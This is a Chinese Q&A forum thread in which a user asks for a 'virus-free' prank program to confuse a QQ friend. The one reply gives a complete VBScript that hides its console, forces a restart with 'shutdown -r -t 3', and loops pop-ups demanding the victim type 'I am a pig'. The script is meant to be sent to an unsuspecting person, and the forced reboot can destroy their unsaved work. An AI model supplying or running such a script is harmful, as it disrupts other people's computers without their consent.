跪求一个没有病毒的恶搞QQ好友的软件搞的他莫名其妙的那种
发布网友
发布时间：2022-04-27 00:18
共1个回答
热心网友
时间：2022-06-21 14:41
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 3 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox "虽然你是猪。。我还是要关你机。因为你太听话啦"
